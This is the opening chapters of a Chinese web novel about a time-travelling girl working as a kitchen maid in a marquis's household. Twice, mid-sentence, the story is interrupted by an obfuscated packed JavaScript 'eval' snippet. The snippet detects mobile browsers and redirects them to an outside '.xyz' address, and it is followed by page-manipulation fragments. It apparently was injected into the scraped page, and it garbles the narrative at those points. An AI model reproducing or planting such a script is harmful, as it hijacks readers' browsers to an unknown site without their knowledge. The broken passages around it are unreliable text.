《从烧火丫头开始的发家路》 1. 忠勇侯府的喜事 霜降刚过，天气渐冷。 今早上下过一场绵绵细雨后，饶是到午后开起太阳，温度也照旧冷得厉害。 鸟雀蓬起身上的羽毛，像一颗颗圆球般或是落在挂满柿子的树梢上，或是落在忠勇侯府的牌匾上，又或是落在红灯笼上，蹦蹦跳跳，叽叽喳喳。 怎料下一息锣鼓声响，奏乐声起，惊得鸟雀惊慌四散，半响才纷纷落在屋顶，朝着下头探头探脑。 只见忠勇侯府那朱红色大门轰然敞开，远远伴着乐声而来的队伍一路行至里头，守门的仆役扯着嗓门：“姑爷使人送催妆礼来啦——” 登时，府里喧闹起来。 府里仆役有条不紊地迎上前去，男方派遣的管事满脸堆笑，高声朗诵着送来的物件，女方家的管事也毫不示弱，接着说道家里待会要回送的物件与嫁妆单子，男女两方你说罢我来唱，此起彼伏唱上半响，才止了话头。 紧接着，挽着竹篮的仆妇小厮四散开来，在忠勇侯府里外抛洒喜钱，发放果子。 听闻动静赶来凑热闹的路人与忠勇侯府的婢女男仆喜不自禁，纷纷上前，嘴里说着各色恭贺之词，同时手上不停，直把兜里包里塞得满满当当才肯罢休。 前院的喧闹声一路传入灶房，落入管事婆子与厨婢粗使们的耳中。年长者能沉稳做事，而年纪稍小些的粗使丫鬟们却耐不住性子，一个个频频向外张望，恨不得能立刻做完手里的活计，也好到前院去瞧一瞧热闹。 “听着声音，外面许是在洒喜钱了。” “哎……咱们肯定来不及去了，也不知道几位妈妈会不会使人送点果子过来给咱们尝尝。” 正当聚在院子里的丫鬟们议论时，院外响起阵阵急促的脚步声。她们眼前一亮，都以为是前院妈妈送果子来了，丫鬟们抬眸往外瞧去，没见着妈妈，却见着个横眉竖眼的长脸婆子。 长脸婆子双手叉腰，横眉竖眼，她刚走进院子，便扯着尖利的嗓门叱道：“苏芷寒！苏芷寒！” 丫鬟们愣了愣，下意识将视线往灶房里望去，目光纷纷落在灶房最深处的角落。 “死丫头，这等时候还敢到灶房来躲懒！”长脸婆子顺着丫鬟的视线，很快寻到目标，她怒气冲冲的往里走，嘴里还骂骂咧咧的。 换作不知情的人，听婆子这般说法还以为苏芷寒是个懒丫头，这等时候也敢偷懒摸鱼。 “死丫头！耳朵聋了吗？没听见我在喊你？”长脸婆子走到里头，伸手便要拧苏芷寒的耳朵：“都这等时候，你还敢偷懒？我教你把花园的路再扫上一遍，把枯枝落叶都给清一清，你为何不去做！万一贵客瞧见了，你教咱们家的脸往哪里搁？” “赵妈妈说的是。”苏芷寒娴熟地避开赵婆子的动作，手里捧着的木盆稳稳当当，丝毫没有晃动。她把木盆搁在灶台上，双手在围裙上抹了抹：“可我如今已是灶房的人了，手里还有其他事儿要做，赵妈妈还是去寻当值的人罢。” “啥时候的事？我咋不知道？”赵婆子眼一瞪，一口唾沫啐在苏芷寒脚边，骂骂咧咧道：“你和你娘就是当奴婢的命，能当个扫洒丫头都是你的福分了，还想着攀高枝，也不瞅瞅你们有没有这个命——” “赵婆子。”许厨娘见赵婆子越说越离谱，闹得灶房里外的人都心不在焉，登时不高兴地放下手上活计。 她长脸薄唇，冷眼瞅着赵婆子：“这几日可是大姑娘的大喜日子，你要是不想在府里呆了，想去乡下操持土地，我帮你与管事说说？” “许娘子，老身没这个意思。”赵婆子吓了一跳，连连摇头。她身为候府的仆妇，日子过得很是舒服，且不说两个媳妇见着自己都是谦卑恭顺，想要讨好她进府里做事，就是外头的商贩邻里知道自己来历，都对自己高看两眼。 赵婆子不舍得出去，更不敢得罪灶房的管事娘子。她弯了背脊，面上带笑，声音也分外柔和：“老身也是担心那地儿没干透，到时候教王府的人瞧见了笑话。” “那与寒姐儿有何关系？” “她是园子里的扫洒丫鬟……” 许厨娘不耐烦地打断赵婆子的话，冷着脸道：“二姑娘不是遣人说过了？往后寒姐儿就在灶房里做事，不必做那洒扫的活了。” “可是——府里也没安排其余人。” “那意思就是让你做。”许厨娘打断赵婆子的话，嫌弃地啧了声。 她不喜被塞进来的苏芷寒，却更烦跑到自己地盘啰啰嗦嗦的赵婆子，像是赶苍蝇般挥了挥手，教赵婆子赶紧走人：“要是扰了姑娘们的兴致，你担当得起吗？还不赶紧走，免得地儿没干透，教王府的人瞧见了笑话。” 许厨娘反手，便拿了赵婆子的话堵她。 赵婆子闻言，一张脸乌漆嘛黑的，不情不愿地应了声，只是走到灶房门口那眼刀子还刷刷刷地往苏芷寒身上落。 苏芷寒背对着大门，偷偷叹了口气。 她本是名生活在现代社会红旗下的普通女孩，在经营家中饭馆时与同行起了冲突，而后发生意外穿越。 再睁开眼时，她已成了京郊贫户家的女儿，而后随着母亲蒋珍娘一道卖身进了眼前的府邸。 蒋珍娘捡了个浆洗衣物的活计，还花了一吊钱贿赂管事，给苏芷寒捡了个扫洒的活计。 别看是个洒扫活，要知道府里的家生子，有人脉有关系圈的同时还更受主家信任，几乎好地儿好去处都被他们占了，像是洒扫的活计已是剩余活计里，相对轻松且体面的活了。 只是好景不长，没两日苏芷寒就被赵婆子盯上，借口与她有眼缘，先说想收她当女儿，听苏芷寒说她娘也在府里，又改口说想收她当徒弟。 这在府里，也是常有的事。 且不说管事妈妈为的是扩充势力，巩固权利，争取主家的信任，少则认了一二干女儿徒弟，多则认四五六七八个，就是无儿无女的下等婆子为了能给自己养老送终，也会在府里认个干女儿，又或是攒钱买个丫鬟作女儿。 可像是自己有儿有女，又连苏芷寒家里情况都不清楚，就巴巴结结凑上前来的赵婆子却并非以上两种情况。 她纯粹是盯上了苏芷寒拿到的月钱，想借着她刚入府里无依无靠，便拿捏一番，占点便宜。 府里新进的丫鬟仆妇，多吃过这般的苦头，运气不好碰上黑心肠的，不但兜里的银钱被薅得干干净净也就罢了，而且还成了对方的出气筒和免费仆役，挨打挨骂也是常事，就连想要寻人主持公道也没地儿去，说不定还得一句妈妈严格是为了教导你，为了你好。 没有靠山的新进丫鬟仆妇们，最后只能忍气吞声，含泪吞下苦果。 苏芷寒进府时便晓得这些事，当即便婉拒了赵婆子，却没想到那赵婆子如此小性，就此便记恨上她，以新进丫鬟粗手粗脚恐损了屋里物件为由，教她日日呆在室外洒扫。 要知道候府规矩重，院外的道路上不能落有杂物，轮到洒扫院外大道的丫鬟基本上是从早到晚一刻不歇。 直到中秋节时，二姑娘院里婢子来拿当日要用的花糕，无意间将苏芷寒做的桂花糕也一并带走后，情况才终于有了改变。 与花糕相仿，又略有区别，还带着一抹幽幽茶香的糕点登时得了二姑娘喜欢，还得了登门造访的其余娘子称赞。 这事儿传到前头娘子跟前，做了茶糕的苏芷寒得了赏，也终于逃出赵婆子的管辖，在灶房里有了立足之地……吗？ 苏芷寒是躲过了赵婆子的折腾，却是惹了许厨娘的不满。 许厨娘也晓得赵婆子等人的行径，却是不以为然。在她看来做小丫头的给婆子仆妇乃至管事上供银钱，那是理所当然的，就是她年轻时也是这么一步一步走过来，最后讨得厨娘的好，才得已被提为厨婢，而后再脱颖而出，跟随主家出嫁成为灶房管事。 偏生苏芷寒另辟蹊径，愣是得了二姑娘亲眼和赏赐，从洒扫丫鬟调到灶房做事。虽说从月钱来看并无变化，依然还是个粗使丫鬟，但总归教许厨娘觉得苏芷寒不够规矩，心思忒多。 若不是苏芷寒做的点心单纯以讨巧得了姑娘欢心，且她做事细致周到又勤快，许厨娘早就寻个由头把她撵出去了。 许厨娘想到这里，瞥了眼苏芷寒，只见她双手捧着米筛，轻轻晃动。随着苏芷寒的动作，如雪般细腻的米粉纷纷而落，很快堆满了木盆。 苏芷寒把米粉分作三份，又分别用提前准备好的绿汁和红汁揉搓均匀，再次碾碎过筛。她耐心又细致，反反复复过筛数遍，最终碗里只剩下浅绿和浅红色的米粉。 一层白米粉，一层粉米粉，再一层绿米粉，里头还要加上用茶汤与绿豆做成的馅料，摆上蒸笼前再上面落下一层糖桂花，最后蒸制上两盏茶功夫。 从桂花糕的制作、到蒸制，再到将点心放入食盒的全程，苏芷寒目光都紧紧盯着，不曾离开片刻。直到她把食盒送到来取餐食的大丫鬟手里以后，才长长舒了一口气。 紧接着，苏芷寒垂首开始整理用完的厨具物件，等整理妥当并重新抹了抹手，她又捡起柴火、烧起炉灶，刷洗锅碗，动作干练又麻利，丝毫不拖泥带水。 许厨娘瞧着，她做事要比灶房里其他几个年岁相仿的小丫鬟都认真。 虽说许厨娘对苏芷寒有所改观，但她依旧没给苏芷寒好脸色。 苏芷寒刚忙完手上的事情，许厨娘便立马开了口，吩咐苏芷寒先去处理刚刚宰鸡杀鸭留下的下水，而后再去准备晚间仆役用的面饼子烙好。 “……等人都用完了餐食，你把灶房收拾干净了，才准回家。”许厨娘交代完事，又转身去做自己的事儿。 灶房里其余的人瞅了眼许厨娘，又瞧了眼苏芷寒，谁也没敢开口帮忙说情，都低着头做着手里的活计。 院里的人也都听到了，坐在小板凳上洗菜的丫鬟悄声嘀咕：“寒姐儿可真是惨……” 还没说完呢，她腰上就被人拧了把。旁边的丫鬟瞪了眼她，手上用力，故意把水弄得哗哗响，同时压低声音道：“映红——你可别烂好心，要是你去帮忙，那许娘子是真会恼的。” 映红讪讪然的：“没，没那回事，杨柳姐，我，我又不傻。” “那就好。”杨柳往后瞧了眼，“许娘子不是不讲道理的人，只要寒姐儿没犯错，后头就能留在灶房了。” 见映红还要问东问西，杨柳扯了个谎，说许厨娘在里面盯着她看，登时把映红吓得脖子一缩，垂着脑袋开始洗菜，连抬头瞧一眼的胆量都没。 杨柳松了一口气，又往灶房里瞧了眼，只见苏芷寒卷起袖子，端着一盆儿的下水走了出来，提了井水开始冲洗处理。 杨柳和映红就坐在旁边洗菜，都闻着一股子异味。杨柳还能强撑着表情，映红忍不住脸蛋皱成一团，偷偷望向苏芷寒，一双眼儿睁得溜圆。 鸡鸭鱼杂虽不像是猪杂羊杂般气味重，但也自带着一股腥臭味。平日轮到清理的婢女婆子往往都是能推给旁人就推给旁人，即便自个儿做也都是皱着眉苦着脸，用水草草冲洗两三遍就算做完了。 偏偏苏芷寒神色平淡，一手拎起鸡肠，另一手仔细剥掉上面多余的油脂，再扯开口子细细冲洗干净。 “你好厉害啊！” “……”杨柳沉默，她稍不留神，映红便与寒姐儿搭上了话。 “……谢谢？”苏芷寒未曾料到会有人同自己交谈，下意识地回应了一声。 紧接着，她瞅了眼映红洗的蔬菜瓜果，笑道：“你也很厉害。” 映红话一出口，便想起杨柳刚刚的叮嘱来，顿时有些懊悔，暗暗告诫自己不要再与寒姐儿说话。 可等她听到寒姐儿夸自己，又把杨柳的叮嘱抛到脑后，红着脸回应：“你说得太夸张了……我不过是洗点蔬菜瓜果……” “你觉得我，我哪里厉害呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364601|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”映红说到最后，声音低如蚁蚋。她先是低垂下头，而后又忍不住抬起头来，瞅着苏芷寒。 不怪映红疑惑，主要是阿爹、阿娘和阿姐都说她是个又憨又傻的。身为家生子，起初她是去针线房学习手艺，准备往后做个针线娘子，体面又得姑娘器重。 可进针线房没两月，她就被阿娘领了回去。同时去的婢女都能打络子绣鞋面了，她连个像样的鞋底都做不出来。 阿娘气恼，就把她送灶房里了。可她进灶房三月，连切菜都没轮上过，日日就是洗菜折菜，烧火洗碗。 那日她还听阿爹说要给她换个去处，去学个梳头或是制香的手艺，结果她娘说还是让她在灶房里呆着——“就她那性子，去了娘子跟前我还担心得罪了娘子，祸害了全家！” 映红想到这里，眼中露出了怀疑与懊恼，想来寒姐儿也是顺口一提，而我自作多情吧…… 她的思绪还未落下，苏芷寒的声音便在耳边奏响：“嗯？我每次看到你洗菘菜，都会把外面稍松散点的叶片给折掉，还会瞅一眼上面有没有虫蛀，最重要的是你会把每片叶子都掰下来洗一遍……” 随着苏芷寒的话语，映红的眼儿渐渐睁大。她呐呐着道：“这……不是很正常的事儿吗？” 苏芷寒点点头：“是啊。” 映红瞬间失落，抿了抿嘴唇。 苏芷寒瞅了眼她，笑道：“可是我来府里这两月，每回来灶房时都见着你是这般做的。” 顿了顿，她又道：“只有你一个。” 再简单的事，又有几人能日复一日年复一年的坚持？ 苏芷寒认认真真道：“真的很厉害。” 苏芷寒夸得真情实意，映红听得欢喜非常，就连杨柳也面露惊讶，下意识瞥了眼映红盆里洗好的蔬菜瓜果，紧接着她又瞧了瞧自己洗好的蔬菜瓜果，果然两者大有区别。 而这些，她都未曾注意过。 杨柳没说话，抬眸瞅了眼苏芷寒，再低下头做事的时候她也越发认真，仔细处理起那堆蔬菜瓜果。 苏芷寒手里的工作多，与映红说了几句便止住话头，洗净了一堆下水送到灶房里，交到负责为粗使做饭菜的掌勺婆子手里。 掌勺婆子手脚麻利地将鸡杂、鸭杂和猪杂切碎，取一半倒入锅里，接着把今天做菜剩下的边角料也一并放入其中，再加菘菜、葵菜、荠菜和清水，用盐和藤椒等物稍加调味，而后便盖上锅盖焖煮起来。 紧接着，掌勺婆子将剩余的一半鸡杂、鸭杂和猪杂丢进另一口锅子里，同样加入一堆蔬菜，翻炒至熟透后盛出放在桶里。 以上便是粗使们吃的炖杂菜和炒杂菜，再加上酱菜与苏芷寒待会儿要做的烙饼，就是粗使们今日的晚食。 映红端着洗好的蔬菜瓜果走进来，她把蔬菜瓜果搁在木架上，而后凑到苏芷寒身边，期待地探头向锅里望去。 当她瞧见那极为眼熟的菜品时，瞬间变得无精打采：“怎么又是炖杂菜和炒杂菜。” 苏芷寒深有同感，自打她进府里为奴以来，这三道菜品在粗使的菜单上出现的频率忒多了点，基本隔天或者隔两天便能见到一回。 而往上三等的丫鬟仆妇们，不但月俸中多了一笔月食钱，而且餐食也比粗使要好得多。 更不用说一等二等的丫鬟仆妇，她们的月食钱不但更多，还常常能得到主家的赏赐和下面仆佣的孝敬讨好。不止一日三餐有保障，另外还有点心果子。 为了改善口粮，她也得努力往上爬。 苏芷寒思绪落下，抬眸察觉到掌勺厨子眼中闪过的不悦，她很自然地接过话：“比起我以前在家里吃的炖菜汤，炖杂菜和炒杂菜里有肉有菜，味道也好得多。” “真的假的？” “当然是真的，那菜汤里头就只有野菜，挺多加了一搓粗盐，味道又苦又涩，只能配着粗面馒头和窝窝硬吞。” 苏芷寒说罢，回想起刚穿越来的日子，那真真是难熬得很。她和阿娘每餐只能吃一个窝头，一个粗面馒头，一碗用切碎的野菜熬成的咸苦菜汤——至于肉？那是根本不可能出现的。 别说是肉，苏家穷到连鸡蛋都舍不得吃，要攒着与挖到的野菜春笋等物一起背到镇子上卖掉。 刚刚穿越过来，上辈子还是开饭馆的苏芷寒真真是欲哭无泪，晚上做梦都在梦炖鸡烧鹅和烤鸭。 掌勺婆子前面还有点不高兴，听到这里气也消了大半，和这些个黄毛丫头计较什么？倒是降低了自己的格调，传出去还以为她曹妈妈就和那赵婆子般蛮不讲理，欺软怕硬。 曹妈妈再打量眼前的寒姐儿，已然十三岁的人儿，却是头发枯黄如干草，身形又矮又瘦，看上去竟比自家十岁的丫头还要瘦小几分。 她心中顿生怜悯之情，又想起原本烙饼也是自己的活。 如此想来，还是她占了便宜。 曹妈妈思忖片刻，冲着又瘦又小的苏芷寒微微一笑：“寒姐儿，旁边那块地儿空着，粗面和猪油都在柜里搁着，你去那揉饼子吧。” 顿了顿，她又补充道：“还有你清洗鸡杂鸭杂留下的那些个东西，可别丢了，别看它们瞧着脏，闻着腥，实际上是能熬成油的。你拿回家去，叫你娘亲熬一熬，回头烧菜时放上一两勺，味道可香得很呢！” 实际上，苏芷寒刚刚处理那些东西时就存着这个心思，听到这话更是心中一动。她故作惊喜，仰着头看向曹妈妈：“真的可以吗？我能把那些带回去？” “当然没问题。” “可是，我瞧着灶房里也常要用鸡油鸭油……” “傻丫头。”曹妈妈被苏芷寒的话逗笑了，插话道：“这用鸡杂鸭杂熬出来的油哪能用在主子们的菜品里？主子们菜里用的鸡油鸭油都是许娘子用整只鸡鸭熬煮出来的。” 她摆摆手：“你带回去便是，有人问起来就说是曹妈妈我同意的！” 2. 原来是穿书 “谢谢曹妈妈。” “哎，谢什么。”曹妈妈并未将这事放在心上。且不说处理鸡杂鸭杂等物剩下来的东西，没有人拿去也是要丢弃的，就是灶房里摆着的好肉、好油和好酒也多的是人偷偷藏在怀里带回家去。 也就寒姐儿这般刚采买进来的小丫鬟不懂其中门道，得了那些鸡脂鸭脂便开心不已。 当然，非亲非故的曹妈妈也不会与苏芷寒明说这些话，以免平白无故给自己增添把柄的。她话锋一转，不再说起这事，吩咐苏芷寒赶紧开始准备烙饼子，以免待会赶不上粗使们用晚食的时辰。 苏芷寒应了声，忙捡了一颗皂荚净手，把手上的杂味去了去，紧接着她弯腰从柜里取出粗面，想了想又取出老面来，最后她捡了个竹篮，准备到后头去取些葱。 “哎呀，不用这么麻烦。”在旁观望的曹妈妈连连喊住苏芷寒，又顺手把苏芷寒取出的老面放回去：“寒姐儿，寒姐儿！你做发面饼子干啥子？现在都啥时辰了，等你发面发好，粗使们都得把灶房拆了，你啊做个烙馍就行。” “烙馍？”苏芷寒晓得，却装作不懂，疑惑地反问道。 “就是用烫面做的饼子。” “我，我，我没做过。”苏芷寒抬眸往许娘子那望了眼，涨红脸扯了个谎。而后她微微仰起头，鼓足勇气道：“曹妈妈，您能与我说说烙馍是怎么做的吗？我在家里做过馒头，摊过饼子，想来应该很快能学会，不会耽搁大家用饭的。” 曹妈妈婉拒的话语在舌尖转了转，又咽了下去。说到底给粗使们做饭食是她的活计，别看许娘子开口让寒姐儿做事，可真出了差错，耽搁了粗使们用饭做工的时辰，传到管事跟前，倒霉的恐怕还是她。 曹妈妈再看眼苏芷寒，瞧她都快羞耻得钻进地里去，还是松了口：“行吧。” 没等苏芷寒感谢，她又补充道：“不过我只能与你说说做的法子，不能出手教你。” “那就行！谢谢曹妈妈！” “哎……你人小还挺客气的。”曹妈妈想起自家做起活来便偷懒摸鱼的女儿，再看看跟前嘴甜的寒姐儿，心里酸了酸。 她定了定神，先教苏芷寒烧锅热水，而后把一半粗面烫上一烫搅拌成面絮，而后再用凉水把另一半粗面给揉成面团。 最后，曹妈妈再教苏芷寒将两种面团融合在一起，揉成一个光滑的面团。她瞧着苏芷寒的动作，不住地点头：“你这揉面手法着实不错，以前学过？” “未曾学过。”苏芷寒摇摇头，看到曹妈妈面露疑惑后她才解释道：“我曾随我娘去镇上售卖东西，看到旁边的馒头铺便是这般做的，见得次数多了，后来便记下来了。” “只看着就学会了？” “嗯……也不全是。”苏芷寒低垂着脑袋，轻声细语道：“我想着要是能学会做馒头，日后也能和阿娘一起开个馒头铺赚钱，就，就……看得特别仔细，然后偷偷记下来的。” 曹妈妈哑然不语，望着苏芷寒忽然想起此前仆妇聚在一起八卦的事儿。苏芷寒和她娘蒋珍娘虽说是新进府里的，但其实与侯府还有点缘分，据说苏芷寒的姥姥曾经还奶过姑奶奶一段时间。 不过，寒姐儿的姥姥姥爷后来得到老太太的恩典，带着女儿蒋珍娘一同被放出府去，而后还传闻他们给女儿选了个秀才夫婿，望着女儿也能当上官娘子。 哪晓得，奴婢总是奴婢的命。 等众人再次听说蒋珍娘的消息，竟是其求到父母过往有旧之人，想要重新卖身进侯府里。 兜兜转转十余年过去，蒋珍娘父母双双去世，而嫁的秀才郎非但没当上官宦，还沦落成个赌徒，把蒋珍娘父母当年攒下的家当花得一干二净，人死了还留下一屁股债。 这事儿传开，可惊着不少人。 要是寒姐儿的姥姥姥爷没离开侯府，如今也定然是极有体面的管事妈妈，又或是与女儿一道成为姑奶奶的陪房，或是在外管事，或是手掌嫁妆钥匙，日子体面且舒坦，哪会想着开什么馒头铺发家！ 曹妈妈眼中的怜悯更浓，免不得唏嘘一声：“……你是个好的。” 顿了顿她又安慰道：“你在灶房里也可以多学学，你做的桂花糕能得姑娘的喜欢，说不定这上头还真有点天赋，往后做个掌勺厨娘，也算是站稳跟脚，出人头地了。” 苏芷寒认认真真点头，同时手上的动作也未停下。她按着曹妈妈的指导动作麻利且熟练地将面团搓成长条，分割成大小均匀的面剂子，再逐一搓圆。 搓圆的面剂子，挤挤挨挨堆在一起。 等案板上摆满了面剂子，苏芷寒又捡起擀面杖，把面剂子擀开，擀成一个个圆饼。她的动作从起初的不算熟练到麻利，不过几十个饼子的过程，看得曹妈妈连连点头，赞不绝口：“哎呀，瞧瞧你这手，真巧。” 等一摞摞的面饼子搁在旁边，最后就剩下烙饼的过程。就如曹妈妈说的一样，这死面饼子做起来容易，烙起来也容易，铁锅里连油也不用倒，直接把饼皮摁上，用锅铲轻轻推动。 等两面都烙熟，直接捞出即可。 等苏芷寒把饼子都烙完，各个院子的粗使仆佣也纷纷来到灶房。 曹妈妈笑道：“你瞅瞅是不是刚好？” 苏芷寒抹了抹手，闻言立马用力点点头：“曹妈妈好厉害，算得刚刚好！” “那是当然的，我可做了好多年的掌勺啦。”曹妈妈颇为自得，免不得吹嘘一番自个儿的经历，什么打小做学徒，一日切十二个时辰的萝卜……直说得周遭人频频侧目，暗骂曹妈妈吹牛都不打草稿。 偏偏苏芷寒还一本正经地附和，只差拿着小本本记下来。认真的模样越发讨曹妈妈的欢喜，特地去边上取了两个刚刚煎好的肉馅饼塞给她：“闹——赶紧垫垫肚子罢，回头你还得打扫灶房。” “谢谢妈妈。”苏芷寒双眼一亮，高高兴兴地收下了。这肉馅饼是三等仆妇丫鬟们用的吃食，外皮煎得金黄焦脆，面皮蓬松暄软，里面肉馅丰腴多汁，比刚刚做的单单只有面皮的烙馍可香多了，刚出炉便引得一帮粗使都挪不开视线，见曹妈妈给苏芷寒两个以后众人更是难掩羡慕。 “那么好的肉，给这丫头吃……”赶来吃饭的赵婆子恰好瞧见这一幕，两眼都红了，盯着苏芷寒的目光像是淬了冰般凶狠，不知道的还以为那饼子本是她的，被人抢了呢。 赵婆子本想上前，照旧占点便宜，可一抬眸看见许厨娘，登时想起刚刚被训斥的事。她黑着脸，随手推开身前正要盛菜的杨柳，抢过勺子给自己舀了一大碗炖杂菜，一边吃着还不忘盯着苏芷寒。 苏芷寒注意到赵婆子的视线，蹙了蹙眉，心中升起一团火来，她不与赵婆子计较，赵婆子倒是步步紧逼。 当真以为她是软弱可欺之人！？ 苏芷寒取来竹纸，将两个肉饼子包好并揣入怀里，而后寻到许厨娘跟前：“许娘子，我瞧我娘还没过来吃饭，许是工作忙碌，我想去洗衣房一趟，给她送两个把饼子去。” 许厨娘瞄了一眼那两个肉饼子，脸色和缓了些：“你是个孝顺的，去吧，别忘了待会回来做事。” “是，多谢许娘子。”苏芷寒得了允许，怀揣着肉饼子出了门。她走到灶房门口，眼角余光扫了眼身后，只见赵婆子仍盯着自己，却只是留在原地，并未跟来。 可见她真真是个欺软怕硬，愣是不敢当着许厨娘的面来寻麻烦。 苏芷寒淡然地收回目光，轻车熟路地来到往日洒扫之地。过往两个月的经历足以让她断定，这个时候无人会在来到此地。 她抬眸向上望去，映入眼帘的是悬在树梢下的熟柿子，颗颗圆润饱满，宛如一盏盏红灯笼。 往昔每日洒扫时，苏芷寒都会用竹竿夹子把树梢顶上那些快要熟透的柿子夹下。既能免得鸟雀啄食，增加自己的工作量，同时还能存在屋里，待柿子熟透后当个零嘴解解馋。 显然，赵婆子满脑子只想着要把事情推给自己，恐怕完全没注意到这些柿子，也算是给自己创造了一个机会。 可惜这些好柿子了。 苏芷寒心中惋惜，手上的动作却并未停下。她稍稍用力摇了摇柿子树，果然，只见顶上几颗熟透的柿子轻轻晃动几下，随即‘啪嗒啪嗒’地落在地上。 片刻功夫，地上便是一片狼藉。 苏芷寒估算着时间，迅速扭头钻进曲径之中，头也不回地往洗衣房而去。甚至她还没走到曲径的另一侧，就听到远处隐隐约约传来一声怒喝：“负责扫洒的人呢！？” 赵婆子曾说过，负责扫洒之人是不能擅离岗位的。 苏芷寒也记得，赵婆子借这个由头，每逢她当值时便不让她离开去，让她每回都是最后一个到灶房，只能捡旁人剩下的垫饥。 而如今这情况落在赵婆子身上，也不知道她要如何化解？苏芷寒一边思考，一边沿着曲径前行，很快来到洗衣房里。 只是，苏芷寒没寻着娘亲，据洗衣房里的人说她娘亲跟着张妈妈出府办事了。 苏芷寒遗憾片刻，转身往回走去。 她还未走到平日洒扫的地儿，远远便听到李管事难掩怒意的喝问声：“这就是你清扫的结果？” “不是，我刚走时还好好的。” “这等时候你还敢擅离职守，还出口顶撞，我瞧你……” “不是不是，我，我是去用晚食！” “赵婆子啊赵婆子，你真真是老糊涂了，连规矩都不懂了！什么时候你吃饭的事比府里的事更大了？” 李管事怒极反笑，沉声喝道：“往日我便听说你偷懒摸闲，如今连扫洒的活计都做不好，你留在府里还有什么用处？我今儿个便去禀报大娘子，教你回家去罢！” “哎？哎！管事，李管事！” 苏芷寒没有再往下听，而是蹑手蹑脚地路过这段，而后脚步轻快地回到灶房。 虽然收拾灶房也不轻松，但苏芷寒觉得比风吹日晒在外头扫地来的好得多。她把灶台上下的东西整理规整，接着又拿着扫把、拖把和抹布，把屋里屋外来来回回清理了数遍，就连堆在院子里的木炭都排列得整整齐齐才罢休。 待她全部整理完毕，天色已彻底暗了下来。苏芷寒把沥干水分的鸡脂鸭脂放入竹篮里，而后拎起竹篮合上门，转身往家走去。 她和她娘住的地方在下人院的西北角，屋子不大，仅有里外两间，但盛在清净。 等回到住处，苏芷寒远远便望见窗纸上跳跃的火光，隐隐还能闻到一股淡淡的肉香。 她双眸一亮，脚下的步伐愈发轻快起来。苏芷寒的脸上绽放笑容，伸手推开房门，唤道：“阿娘，您回来了？我有好事要和您说——” “阿娘？”苏芷寒抬眼望去，只见外间并无人在，整个屋子空空荡荡，家具少得可怜，仅有一张掉了漆的木桌，两张条凳以及两个木箱，另有几个陶土瓮罐、脸盆麻袋等杂物或搁置、或倚靠在两侧，横梁上绑着几根麻绳，吊着一篮子鸡蛋以及半条五花肉。 苏芷寒的目光在五花肉上划过，很快落在墙角的泥炉子上。 泥炉子炉火正旺，烧得陶锅‘咕咚咕咚’作响，一连串泡泡从边缘冒出，带来阵阵浓郁的肉香味。 苏芷寒把竹篮搁在桌上，取了一块抹布走到泥炉边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364602|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她把抹布盖在锅盖上头，然后掀起锅盖往里瞧了一眼，只见锅子里正炖着一锅菘菜炖猪肉。 那菘菜已炖得绵软，茎叶吸饱了汤汁，呈现半透明状。至于那些切得大块的猪肉，随着沸腾的汤汁正轻轻晃动着身躯，肥瘦相间的美妙模样让苏芷寒忍不住咽了下口水。 饶是她前头吃过烙饼和炒杂菜，此刻嗅着香味，看着猪肉，肚子也咕咕叫唤起来。 “寒姐儿，你回来了？”就在此刻，一双手掀起里间门上的布帘子，紧接着芷寒的娘亲蒋珍娘从里探出身子来。 “阿娘，你怎么买了猪肉！？” “嘿嘿，香吧？”蒋珍娘没回答苏芷寒的问题，冲着她招招手：“寒姐儿回来得刚好，快过来，阿娘给你看好东西。” 苏芷寒闻言，好奇往前走了几步。她来到里间门口，映入眼帘的一幕教她下意识屏住呼吸，一双眼儿睁得溜圆：“哪，哪来的这么多钱！？” 只见炕上堆着小山般的铜钱，旁边还摆着两三颗碎银子。 “这都是阿娘今日拿到的喜钱！”蒋珍娘笑得合不拢嘴，她拉着苏芷寒的手走到炕边，美滋滋地把铜钱推到女儿面前。 “嘶，这么大方？” “那是当然得，你不看看大娘子要嫁的是谁！” 苏芷寒还真不知道，他们进府以来大娘子的婚事准备便告一段落，一部分丫鬟仆妇对大娘子院子里的人是又羡又嫉，没少捣鼓出事儿，有意把人给挤了换了。 刚入府那段时间，府里热闹得很。 只是母女两个初进府里，自得谨慎小心，万万是不会上前掺和的。而后头苏芷寒被赵婆子纠缠上，满心都在如何拜托，再后头她又忙着搭上二姑娘院里的丫鬟，连听八卦的心思都没，更别说打听未来姑爷的身份。 或者说，她一个小小粗使，姑娘和未来姑爷的事都离她太远太远，她根本没必要去了解。 苏芷寒忽听娘亲问起，随口道：“想来应当是侯府伯府……” “错了错了！是荣王世子！”蒋珍娘打断苏芷寒的话，兴奋地公布答案：“虽比不过几位有体面的妈妈，但跟去的仆妇里阿娘肯定是拿得最多的！” “嗯，阿娘真厉害！” “嘿嘿，我和你说这回去荣王府里，阿娘真是长见识了。”蒋珍娘眉飞色舞，把她见到的听到的尝到的都逐一道来。 “荣王世子啊……”苏芷寒心不在焉地重复一遍，身为府邸最底层的烧火丫鬟，她对这些个遥不可及的大人物并无兴趣，更专注地清点着眼前的铜钱。 九十八、九十九、一百…… 苏芷寒点钱的动作一顿，忽地蹙起眉梢，荣王世子，忠勇侯府长房长女——这个配置，她怎么好像在哪里见过的？ 